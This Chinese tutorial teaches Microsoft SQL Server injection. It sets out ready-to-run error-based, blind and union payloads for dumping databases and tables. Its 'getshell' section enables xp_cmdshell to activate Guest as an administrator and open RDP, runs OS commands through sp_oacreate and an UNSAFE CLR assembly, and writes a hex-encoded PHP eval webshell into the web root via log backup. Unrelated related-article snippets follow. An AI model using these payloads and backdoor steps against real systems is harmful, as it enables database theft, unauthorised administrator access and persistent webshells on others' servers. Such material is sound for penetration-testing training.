网络安全进阶学习第十四课——MSSQL注入
文章目录
- 一、MSsql数据库
- 二、MSsql结构
- 三、MSsql重点表
- 1、master 数据库中的Sysdatabases 表
- 2、Sysobjects 表
- 3、Syscolumns 表
- 四、Mssql常用函数
- 五、Mssql的报错注入
- 六、Mssql的盲注
- 常用以下函数进行盲注:
- 七、联合注入
- 1、获取当前表的列数
- 2、获取当前数据库名
- 3、获取表名
- 4、获取表id
- 5、获取表字段名
- 6、获取manage表中username字段的数据
- 八、注入流程
- 1、判断权限
- 2、获取当前数据库
- 3、获取当前数据库内的所有数据表
- 4、获取当前数据库内的指定数据表的所有字段
- 5、取指定数据库内的表数据内容
- 九、getshell
- 1、mssql权限
- 2、SA权限开启xp_cmdshell 获取主机权限
- 1)判断xp_cmdshell 是否打开
- 2)然后通过上述的execute步骤,将xp_cmdshell开启
- 3、SA权限使用sp_oacreate 执行系统命令
- 1)下面的命令可以查看sp_oacreate 是否被允许:
- 2)开启sp_oacreate
- 3)执行添加用户命令 进行测试
- 4、SA权限使用CLR 执行系统命令
- 创建CLR有两种方式:
- 启用CLR功能
- 5、DB_owner权限 LOG备份Getshell
- 1)sql server常见的备份策略
- 2)利用前提
- 3)注入代码
- 6、综述
一、MSsql数据库
强类型数据库,会把数字和字符严格区分的。
二、MSsql结构
有四个默认的数据库:
- 1、master
(重点)
保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。 - 2、model
模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名。 - 3、msdb
代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。 - 4、tempdb
暂时存储数据的,用于存储系统运行过程中临时产生的数据,例如用户定义的表、索引等。
三、MSsql重点表
1、master 数据库中的Sysdatabases 表
Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名,主要字段有:name (数据库名)
2、Sysobjects 表
所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。该表存放着当前数据库所有的表名(类似MySQL中information_schema数据库中的tables表)。主要字段有:name(表名)、id(表 ID)、xtype(创建的对象)。
当 xtype='U',代表是用户建立的表。
- 和MySQL的数据库路径方法有区别:
Mysql:information_schema.tables
Mssql:master.dbo.sysobjects
3、Syscolumns 表
所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。
该表存放着当前数据库所有的字段名。主要字段有:name(分别是字段名称)、id(表 ID)。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。
四、Mssql常用函数
| 函数 | 函数作用 |
|---|---|
| db name() | 返回当前数据库的名称 |
| host_name() | 返回计算机名称 |
| current_user | 返回当前数据库的用户名 |
| user | 数据库用户 |
| substring() | 字符串截取函数 |
| @@version | 查看数据库版本 |
| char() | ASCII 转字符函数 |
| cast(text as type()) | 字符类型转换,如果转换失败会将 text 结果报错显示在页面上 |
| object_id() | 根据表名返回数据库表名 ID |
| object_name() | 根据 ID 返回数据库表名 |
| col_name(object_id,column_id) 举例:Col_name(object_id(‘users’),2) | 返回指定表中指定字段(列)的名称 |
五、Mssql的报错注入
由于Mssql是强类型数据库,一旦数据类型不匹配就会报错。这时我们就可以利用四则运算,让整型数据和字符型数据之间来进行运算,例如1+user。
举例POC:'or 1=convert(int,@@version)--
六、Mssql的盲注
跟mysql差不多,区别在于使用的函数不同。
常用以下函数进行盲注:
-
1、patindex(pattern,string)
#返回某个字符或正则在某个字符串中第一次出现的位置 -
2、replace(string,substring1,substring2)
#将字符串中出现的某个子串替换成另一个字符串,就是将在string中出现的substring1替换成substring2。
举例:replace(‘1-a 2-b’,’-’, ’:’),返回结果是:1:a 2:b -
3、replicate(string,n)
#指定的次数复制字符串
举例:replicate(‘abc’,3),返回结果是:abcabcabc -
4、stuff(string,pos,delete_length,insertstring)
#先删除字符串中的一个字串,再插入一个新的子串作为替换
举例:stuff(‘xyz’,2,1,’abc’),返回结果是:xabcz -
5、upper(string)和lower(string)
#将字符串转换成大写或小写 -
6、rtrim(string)和ltrim(string)
#删除字符串中的尾随空格或前导空格 -
7、charindex(expression1 , expression2 , [ start_location ])
#返回字符串中指定表达式的起始位置,若查询到就返回位置,若没有查询到就返回false。另外,charindex的参数不区分大小写。
七、联合注入
1、获取当前表的列数
id=-1 order by 4--+
4不报错,5报错
2、获取当前数据库名
id=-1 union all select 1,2,db_name(),4--+
这里返回:mozhe_db
3、获取表名
id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+
这里返回:manage
假如要获取下一个表可以使用老方法,直接再where后面添加:and name !=’manage’,就可以弹出下一个表名
4、获取表id
id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+
这里返回:5575058
5、获取表字段名
id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+
这里返回:username
假如要获取下一个字段名可以使用老方法,直接在where后面添加:and name !=’ username’,就可以弹出下一个字段名
6、获取manage表中username字段的数据
id=-1 union all select top 1 1,2, username ,4 from manage --+
这里返回:admin_mz
假如要获取下一个数据可以使用老方法,直接在后面添加:where username !=’ admin_mz’,就可以弹出下一个字段名
八、注入流程
1、判断权限
如果页面回显正常则为正确,否则报错。举例POC:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) –
2、获取当前数据库
and 1=(select db_name()) –
3、获取当前数据库内的所有数据表
and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype=‘U’ FOR XML PATH(‘’))) –
注意:
convert函数是强制转数据类型的。
Quotename函数的主要作用就是在存储过程中,给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。
FOR XML PATH 是将查询结果集以XML形式展现,将多行的结果,展示在同一行。
4、获取当前数据库内的指定数据表的所有字段
and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(‘’)) –
5、取指定数据库内的表数据内容
and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))–
九、getshell
1、mssql权限
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限
- db权限:文件管理,数据库操作等 users-administrators
- public权限:数据库操作 guest-users
2、SA权限开启xp_cmdshell 获取主机权限
1)判断xp_cmdshell 是否打开
select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'

返回1是打开;返回0是关闭
- 如果xp_cmdshell权限没有开启,我们可以执行下面命令开启,下面四步,使xp——cmdshell开启
execute('sp_configure "show advanced options",1') #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令
- 或者:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
exec sp_configure;
exec xp_cmdshell 'whoami';
- 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
-
execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1

-
execute(‘reconfigure’) #保存设置

-
虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止

2)然后通过上述的execute步骤,将xp_cmdshell开启

3、SA权限使用sp_oacreate 执行系统命令
使用sp_oacreate的前提:sql server数据服务未降权
我们可以借助sql server中的com组件sp_oacreate来执行系统命令。
1)下面的命令可以查看sp_oacreate 是否被允许:
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'whoami'

2)开启sp_oacreate
EXEC sp_configure 'show advanced options', 1;
//类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

由此可以看出,sp_oacreate 命令无回显
3)执行添加用户命令 进行测试
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'
--上面sql server语言固定,最后一行是执行的系统命令
4、SA权限使用CLR 执行系统命令
创建CLR有两种方式:
- 使用DLL文件进行创建
- 使用文件16进制流进行创建
启用CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
导入程序集CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo] FROM 十六进制数据
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
5、DB_owner权限 LOG备份Getshell
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马
1)sql server常见的备份策略
- 每周一次完整备份
- 每天一次差异备份
- 每小时一次事务备份
2)利用前提
- 目标机器存在
数据库备份文件。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式 - 知道网站的绝对路径
- 支持堆叠注入
3)注入代码
alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式
create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);
#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表
6、综述
利用日志备份,类似于mysql的在日志中写入一句话木马。
修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径
在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表
相关文章:
网络安全进阶学习第十四课——MSSQL注入
文章目录 一、MSsql数据库二、MSsql结构三、MSsql重点表1、master 数据库中的Sysdatabases 表2、Sysobjects 表3、Syscolumns 表 四、Mssql常用函数五、Mssql的报错注入六、Mssql的盲注常用以下函数进行盲注: 七、联合注入1、获取当前表的列数2、获取当前数据库名3、…...
【C语言】初阶结构体
🎈个人主页:库库的里昂 🎐CSDN新晋作者 🎉欢迎 👍点赞✍评论⭐收藏 ✨收录专栏:C语言初阶 ✨其他专栏:代码小游戏 🤝希望作者的文章能对你有所帮助,有不足的地方请在评论…...
24届近5年南京理工大学自动化考研院校分析
今天学长给大家带来的是南京理工大学控制考研分析 满满干货~还不快快点赞收藏 一、南京理工大学 学校简介 南京理工大学是隶属于工业和信息化部的全国重点大学,学校由创建于1953年的新中国军工科技最高学府——中国人民解放军军事工程学院…...
5.PyCharm基础使用及快捷键
在前几篇文章中介绍了PyCharm的安装和汉化,本篇文章一起来看一下PyCharm的基本用法和一些快捷键的使用方法。 本篇文章PyCharm的版本为PyCharm2023.2 新建项目和运行 打开工具,在菜单中——文件——新建项目 选择项目的创建位置(注意最好不要使用中文路径和中文名项目名称…...
RabbitMQ的安装
RabbitMQ的安装 1、Windows环境下的RabbitMQ安装步骤 使用的版本:otp_win64_23.2 rabbitmq-server-3.8.16 版本说明:https://www.rabbitmq.com/which-erlang.html#compatibility-matrix 1.1 下载并安装erlang RabbitMQ 服务端代码是使用并发式语言…...
GPU版PyTorch对应安装教程
一、正确安装符合自己电脑的对应GPU版本的PyTorch之前需要了解三个基本概念 算力、CUDA driver version、CUDA runtime version ①算力:需要先知道你的显卡,之后根据官网表格进行对应,得到算力 ②CUDA driver version:电脑上显卡…...
医学影像PACS临床信息系统源码
医学影像临床信息系统(Picture Archiving and Communication Systems)PACS是指从医疗影像设备中获得数字影像,利用高速网络进行存储、管理、传输的医疗影像信息管理系统。通过该系统,能实现影像数字化、无胶片化管理。 登记系统 …...
Python(Web时代)——jinja2模板
简介 Jinja2是Flask框架默认支持的模板引擎,是python的web项目中被广泛应用的一种模板引擎,jinja2的作者与Flask是同一个人。 jinja2具有以下特点: 非常灵活,提供了控制结构、表达式与继承等 性能好 可读性强 渲染一个模板&a…...
酷开系统 | 酷开科技,让数据变得更有价值!
身处信息时代,我们每个人时刻都在生成、传递和应用数据,数据已经成为了现代社会中宝贵的资源之一,而在人工智能领域,数据更是被称为人工智能的“燃料”。 而在AI的发展中,只有拥有高质量、多样性且充分代表性的数据集…...
uni——tab切换
案例展示 案例代码 <view class"tablist"><block v-for"(item,index) in tabList" :key"index"><view class"tabItem" :class"current item.id?active:" click"changeTab(item)">{{item.nam…...
类图的6种关系和golang应用
文章目录 1. 依赖和关联1.1 依赖(Dependency)概念类图示例代码示例 1.2 关联(Association)概念类图示例代码示例 2. 组合和聚合(特殊的关联关系)2.1 聚合(Aggregation)概念类图示例代…...
Linux tar 备忘清单
tar 备忘清单 语法选项创建一个 tar 格式的压缩文件创建压缩后的 tar.gz 存档文件生成压缩率更高的 tar.bz2 文件解压缩 tar 文件解压缩 tar.gz 文件解压缩 tar.bz2 文件列出归档内容从 tar 归档文件中提取单个文件从 tar 归档文件中提取多个文件使用通配符提取文件组添加文件或…...
76. 最小覆盖子串
题目链接:力扣 解题思路:滑动窗口 因为只需要最小子串中包含t中的所有字符即可,顺序不重要,所以可以先统计一下 t 中每个字符出现的次数,使用map进行统计: key表示t中的字符,value表示字符的个…...
科兴未来|2023“数智未来,聚放神采”医疗科技创新挑战赛
一、赛事亮点 聚焦前沿神经科学与脑科学领域 展示优质创新产品、技术、平台与服务 汇聚学术端、产业端、投资端多维专业视角 搭建合作交流、产业赋能与生态融合平台 共话行业发展方向与动态趋势 二、赛事简介 2023医疗科技创新挑战赛聚焦于神经科学及脑科学领域的前沿技…...
第56步 深度学习图像识别:CNN梯度权重类激活映射(TensorFlow)
基于WIN10的64位系统演示 一、写在前面 类激活映射(Class Activation Mapping,CAM)和梯度权重类激活映射(Gradient-weighted Class Activation Mapping,Grad-CAM)是两种可视化深度学习模型决策过程的技术…...
云道资本:2023中国氢能源产业-氢制备深度研究报告(附下载)
关于报告的所有内容,公众【营销人星球】获取下载查看 核心观点 中国可再生能源消纳能力提升远远滞后于发电占比的提升。大规模的可再生能源发电是实现碳中和的关键一步,但风电、光伏发电间歌性、波动性强,电网消纳压力较大,且电…...
java文件
一.File类 二.扫描指定目录,并找到名称中包含指定字符的所有普通文件(不包含目录),并且后续询问用户是否要删除该文件 我的代码: import java.io.File; import java.io.IOException; import java.util.Scanner;public class Tes…...
pyqt5 如何终止正在执行的线程?
在 PyQt5 中终止正在执行的线程,可以通过一些协调的方法来实现。一般情况下,直接强行终止线程是不安全的,可能会导致资源泄漏或者程序异常。相反,我们可以使用一种协作的方式,通知线程在合适的时候自行退出。 以下是一…...
力扣第357场周赛补题
6925. 故障键盘 - 力扣(LeetCode) 思路:模拟 class Solution { public:string finalString(string s) {string res;for(auto c : s){if(c i) reverse(res.begin(), res.end());else res c;}return res;} }; 6953. 判断是否能拆分数组 - 力…...
Keras指定model.fit()的输出
model.fit()当verbose1的时候会打印出所有指标和loss, 在多输出的情况下更是一团乱麻. 下面是一个可以指定每个epoch训练完的输入指标的方法: from keras.callbacks import Callback# Custom callback to display loss only at the end of each epoch class LossCallback(Call…...
Linux 文件类型,目录与路径,文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件:-(纯文本文件,二进制文件,数据格式文件) 如文本文件、图片、程序文件等。 目录文件:d(directory) 用来存放其他文件或子目录。 设备…...
调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...
ServerTrust 并非唯一
NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
uniapp中使用aixos 报错
问题: 在uniapp中使用aixos,运行后报如下错误: AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...
Spring是如何解决Bean的循环依赖:三级缓存机制
1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间互相持有对方引用,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
Qemu arm操作系统开发环境
使用qemu虚拟arm硬件比较合适。 步骤如下: 安装qemu apt install qemu-system安装aarch64-none-elf-gcc 需要手动下载,下载地址:https://developer.arm.com/-/media/Files/downloads/gnu/13.2.rel1/binrel/arm-gnu-toolchain-13.2.rel1-x…...
适应性Java用于现代 API:REST、GraphQL 和事件驱动
在快速发展的软件开发领域,REST、GraphQL 和事件驱动架构等新的 API 标准对于构建可扩展、高效的系统至关重要。Java 在现代 API 方面以其在企业应用中的稳定性而闻名,不断适应这些现代范式的需求。随着不断发展的生态系统,Java 在现代 API 方…...
零知开源——STM32F103RBT6驱动 ICM20948 九轴传感器及 vofa + 上位机可视化教程
STM32F1 本教程使用零知标准板(STM32F103RBT6)通过I2C驱动ICM20948九轴传感器,实现姿态解算,并通过串口将数据实时发送至VOFA上位机进行3D可视化。代码基于开源库修改优化,适合嵌入式及物联网开发者。在基础驱动上新增…...
